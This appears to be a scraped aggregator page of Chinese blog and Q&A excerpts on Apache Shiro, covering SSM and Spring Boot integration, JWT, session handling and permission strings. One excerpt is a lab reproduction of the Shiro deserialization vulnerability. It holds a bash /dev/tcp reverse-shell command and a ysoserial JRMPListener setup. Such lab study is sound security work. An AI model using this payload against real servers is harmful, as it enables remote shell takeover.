shiro

ssm整合shiro 一体项目

牧云@^-^@ 提交于 2020-01-21 01:01:38
介绍 在上上一篇文章中,我对shiro进行了初步的讲解。ssm与shiro的整合不像是springboot与springsecurity整合那样免去了很多步骤,ssm与shiro的整合与shiro非web的用法十分贴近。该文章将讲解ssm整合shiro一体项目(非前后分离)。 配置说明 在看如何配置之前,为了不显得突兀,推荐看一下我上一篇文章"ssm整合"。 红框为新添加的配置文件。 application-shiro.xml 每一块配置都用注释基本说明了,请耐着性子看下去。 <?xml version="1.0" encoding="UTF-8"?> < beans xmlns = " http://www.springframework.org/schema/beans " xmlns: xsi = " http://www.w3.org/2001/XMLSchema-instance " xsi: schemaLocation = " http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd " > <!-- 将凭证匹配器注册成bean为myRealm用于ref--> < bean id = "

Remove jsessionid from URL

ε祈祈猫儿з 提交于 2020-01-20 14:21:12
问题 I'm working on a project with the following technologies: Spring ShiroFilter PrettyFaces Tomcat server While I'm deploying it on tomcat server, I'm getting a "JSESSIONID 456jghd787aa" added at the end of the URL. I was trying to resolve this but I'm not able to do that. 回答1: For tomcat 7 add this to web.xml <session-config> <!-- Disables URL-based sessions (no more 'jsessionid' in the URL using Tomcat) --> <tracking-mode>COOKIE</tracking-mode> </session-config> 回答2: The following filter may

springboot shiro token demo实战项目

风格不统一 提交于 2020-01-20 12:34:36
简介 shiro 是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。 Git地址 https://gitee.com/wqrzsy/lp-demo/tree/master/lp-springboot-shiro 更多demo请关注 springboot demo实战项目 java 脑洞 java 面试宝典 开源工具 项目分析 ####1. 自定义权限注解,支持基于注解和配置表多种方式配置过滤规则 注解的使用方式 配置表方式 最后的结果 注意:这里的顺序是配置表的配置会覆盖注解的 ####2. 抽离Session的缓存实现 ####3. 封装校验核心逻辑,抽离业务接口 ####4. InitBean 初始化对象 ####5. 令牌 用令牌的方式代替JsessionID ####6. 配置表 shiro: session: # session 超时 outTime: 300000 login: token: # 令牌有效时间 expireTime: 300000 password: # 密码有效时间 expireTime: 300000 # 过滤链 filterChains: - /** - anon logging: config: classpath:logback-boot.xml 7. 测试 http://localhost:8080/swagger-ui

springboot shiro jwt demo实战项目

…衆ロ難τιáo~ 提交于 2020-01-20 12:16:46
简介 shiro 是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。 jwt JSON Web Token 是目前最流行的跨域认证解决方案,无状态会话。 项目乔迁 shiro处理无状态校验上存在session保留问题,已改为用 java脑洞 springboot 轻量级JWT安全框架 Git地址 https://gitee.com/wqrzsy/lp-demo/tree/master/lp-shiro-jwt 更多demo请关注 springboot demo实战项目 java 脑洞 java 面试宝典 开源工具 项目分析 ####1. 自定义权限注解,支持基于注解和配置表多种方式配置过滤规则 注解的使用方式 配置表方式 最后的结果 注意:这里的顺序是配置表的配置会覆盖注解的 ####2. 封装校验核心逻辑,抽离业务接口 ####3. InitBean 初始化对象 ####4. jwt刷新 使用过滤器TokenRefreshFilter 判断header是否有token,如果有则判断是否到了刷新时间,如果是则刷新token重新放入到header中 @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain

调试shiro的授权

一世执手 提交于 2020-01-18 03:38:41
地震前不成功,,逐步调试: 从错误提示,看到是Mapper的方法,发现:底层的调用从该数据获取权限的方法名称不对应,参数类型也从int->Integer. 调试这个,断点无法执行,方法: --------在授权方法中加了输出,并且在控制台输出SQL,在授权的过程中逐步放开语句(先写上一个测试用的语句,逐步放开注释),从而判断出错误的精确位置.------ 来源: CSDN 作者: wenxi2367 链接: https://blog.csdn.net/wenxi2367/article/details/103866783

Having trouble with apache shiro saltedauthentication.hashProvidedCredentials not given expected hash

老子叫甜甜 提交于 2020-01-16 19:43:29
问题 This is the second time I'm using apache shiro in a project but the first time am salting the password.this time around i use apache shiro 1.2.0 . I'm using shiro in a web application using jsp, spring, JPA(spring-data-jpa) and using SHA256 for encryption then base64 before saving to database. I have a SaltedJPARealm , a Sha256CredentialMatcher which implements a HashedCredentialMatcher. this is how i do creating a user in my controller RandomNumberGenerator rng = new

shiro解析ini文件

一世执手 提交于 2020-01-16 04:00:22
来吧,看看shiro是怎么解析ini文件的,这里假设ini文件在classpath下,名字叫做shiro.ini Factory<org.apache.shiro.mgt.SecurityManager> factory = new IniSecurityManagerFactory("classpath:shiro.ini"); shiro.ini [users] zhang=123 wang=123 [main] #指定securityManager的authenticator实现 authenticator=org.apache.shiro.authc.pam.ModularRealmAuthenticator securityManager.authenticator=$authenticator #指定securityManager.authenticator的authenticationStrategy allSuccessfulStrategy=org.apache.shiro.authc.pam.FirstSuccessfulStrategy securityManager.authenticator.authenticationStrategy=$allSuccessfulStrategy 一、加载ini配置文件 1 public static

Apache Shiro 学习记录3

荒凉一梦 提交于 2020-01-15 08:30:28
  晚上看了 教程的第三章 ....感觉Shiro字符串权限很好用....但是教程举的例子太少了.....而且有些地方讲的不是很清楚....所以我也自己测试了一下....记录一下测试的结果.... (1) *:view 这种类型的字符串权限可以匹配user:view,qwer:view这样的,但是不能匹配qwe:qwe:view这样的... 就是说开头的*不能匹配带冒号的字符串 (2)user:* 可以匹配user:view也可以匹配user:view:qwe 当然也可以匹配user:view:qwe:123 就是说最后的*可以匹配带冒号的字符串 (3)system:*:view 可以匹配system:123:view,但是不能匹配system:123:qwe:view 就是说中间的*不能匹配带冒号的字符串 (4).ini文件中配置角色权限role1=system:view,system:update 可以匹配system:update也可以匹配system:view但是不能匹配system:update,view (5).ini文件中配置角色权限role1="system:view,update" 请注意简写的方式一定要有引号!!!!!!! 这样可以匹配system:view,可以匹配system:update,可以匹配system:view,update,也可以匹配system

Apache Shiro反序列化漏洞复现

久未见 提交于 2020-01-14 18:50:01
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system restart docker 启动docker镜像: docker run -d -p 8082:8080 medicean/vulapps:s_shiro_1 访问: http://192.168.1.192:8082/ 环境搭建成功 攻击机:139.199.179.167 受害者:192.168.192 搭建好的效果如下: 0x02 制作shell反弹代码 到这里进行编码: http://www.jackson-t.ca/runtime-exec-payloads.html bash -I >& /dev/tcp 139.199.179.167/7892 0>&1 如下所示: 0x03 使用ysoserial中JRMP监听模块,监听6632端口 把你编码的内容放到这儿: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6632 CommonsCollections4 '编码内容' 那么我的就是 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6632

shiro框架中获取username、ip等信息

寵の児 提交于 2020-01-14 14:47:46
  private String getUsername() { Object principal = SecurityUtils.getSubject().getPrincipal(); return principal.toString(); } private String getIp(){ Subject subject = SecurityUtils.getSubject(); String host = subject.getSession().getHost(); return host; } 通过这两个方法,可以预见,基本上所有的信息都可以在SecurityUtils.getSubject()中获取到; 以下是从别的文章中看到的: 当获取用户名的时候,是自己登录时放入session的吧,正确是SecurityUtils.getSubject().getPrincipal();就是你的realms内doGetAuthenticationInfo时new SimpleAuthenticationInfo的第一个构造参数,直接放user对象就行了 ; 以下为转载的文章:关于shiro中的session 在安全框领域,Apache Shiro 提供了一个独一无二的东西:一个完整的企业级Session 解决方案,从最简单的命令行及智能手机应用到最大的集群企业Web 应用程序